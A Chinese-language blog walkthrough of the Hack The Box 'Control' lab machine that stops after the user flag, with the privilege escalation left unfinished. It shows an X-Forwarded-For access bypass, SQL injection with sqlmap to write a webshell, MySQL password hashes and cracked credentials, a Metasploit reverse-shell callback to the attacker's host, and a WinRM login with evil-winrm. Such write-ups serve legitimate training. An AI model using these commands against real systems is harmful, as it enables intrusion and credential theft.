MENU

Hack The Box - Control

March 28, 2020 • Read: 2174 • 靶机渗透阅读设置

0x00 目标

Kali: 10.10.14.103

靶机地址:10.10.10.167

目标:user blood and root blood

image-20200325164413040

0x01 信息收集

使用nmap对目标进行端口扫描:

开放端口:80、135、3306

image-20200325170651229

首先尝试从80端口开始。

从web端发现了一个admin.php

但是提示访问被拒,通过代理访问。

查看页面源码发现,有了一个ip。

image-20200325171245999

联想这个ip可不可以通过XFF头去访问admin.php

尝试构造一个XFF头在数据包里。

X-Forwarded-For: 192.168.4.28

image-20200325172134635

发现回显变了。说明就是构造一个XFF头去访问admin.php

image-20200325172251501

0x02 渗透过程

当前页面发现删改查。

感觉像有注入,抓包拿到sqlmap跑一下。

POST /view_product.php HTTP/1.1
Host: 10.10.10.167
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.167/admin.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Connection: close
Upgrade-Insecure-Requests: 1

productId=32

image-20200325173122364

不是dba,又尝试了下--os-shell,udf能导入但是执行命令没有回显,这种情况说明数据库当前账号有写入权限。那么我们可以尝试进行另一种操作,通过数据库写入webshell到网站,不过需要网站的物理路径。

image-20200325174914262

这里尝试了下直接写入到IIS默认路径C:/inetpub/wwwroot/cmd.php

webshell:

利用了sqlmap的--file-write--file-dest

sqlmap -r test --file-write=/root/cmd.php --file-dest=C:/inetpub/wwwroot/cmd.php --batch

利用weevely直接连:

weevely http://10.10.10.167/cmd.php xxx

image-20200325185617056

然后拿到一个数据库账号密码:

image-20200325190358353

manager
l3tm3!n

这时候又--dbs发现的有mysql库。那应该可以直接读mysql 的账号密码啊。尝试拖出来三个账号。

image-20200327211845225

database management system users password hashes:
[*] hector [1]:
    password hash: *0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
[*] manager [1]:
    password hash: *CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
[*] root [1]:
    password hash: *0A4A5CAD344718DC418035A1F4D292BA603134D8

root的hash解不出来。只解出了hector的,目前我们有的

数据库账号密码:

manager:l3tm3!n
hector:l33th4x0rhector

之后我想尝试把shell弹到msf上去,这里用到了web_delivery模块。

use exploit/multi/script/web_delivery
set target PHP
set payload php/meterpreter/reverse_tcp
set lhost 10.10.14.103
set srvhost 10.10.14.103
set lport 7777
run

可以看到已经成功弹回了。

image-20200327213924410

看了一下netstat -ano。发现本地开放的端口中有一个5985端口。查了一下WinRM的默认端口是这个。

而他的pid是4。WinRM作为Windows系统的远程管理服务,或许我们可以从这个地方作为提权的突破口。

image-20200327222611451

因为是在他内网,这里用了端口转发把5985端口转发出来。

portfwd add -l 5985 -p 5985 -r 10.10.10.167

然后去msf找winrm利用模块。

use auxiliary/scanner/winrm/winrm_cmd
set RHOSTS 127.0.0.1
set PASSWORD l3tm3!n
set USERNAME manager
set CMD whoami

发现这里总有问题,没有回显。通过msf尝试失败,可能是我配置的问题。

获得controlhector权限:

最后通过evil-winrm这个强大的工具连接上了,并且账号密码是之前读到的hector用户。

image-20200327233315897

这个shell好不稳定,但是勉强用了。。。

看到了路径是在C:\Users\Hector下,那么自然可能就是我们需要的用户权限,来到C:\Users\Hector\Desktop目录看到user.txt

拿到了第一个flag。

image-20200327234018061

下一步是提权到SYSTEM权限或者administrator权限。并且拿到administrator用户桌面的root.txt

我要整理整理思路。未完待续。。。

0x03 总结

原文作者:Keefe

原文链接:Hack The Box - Control

版权声明:本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可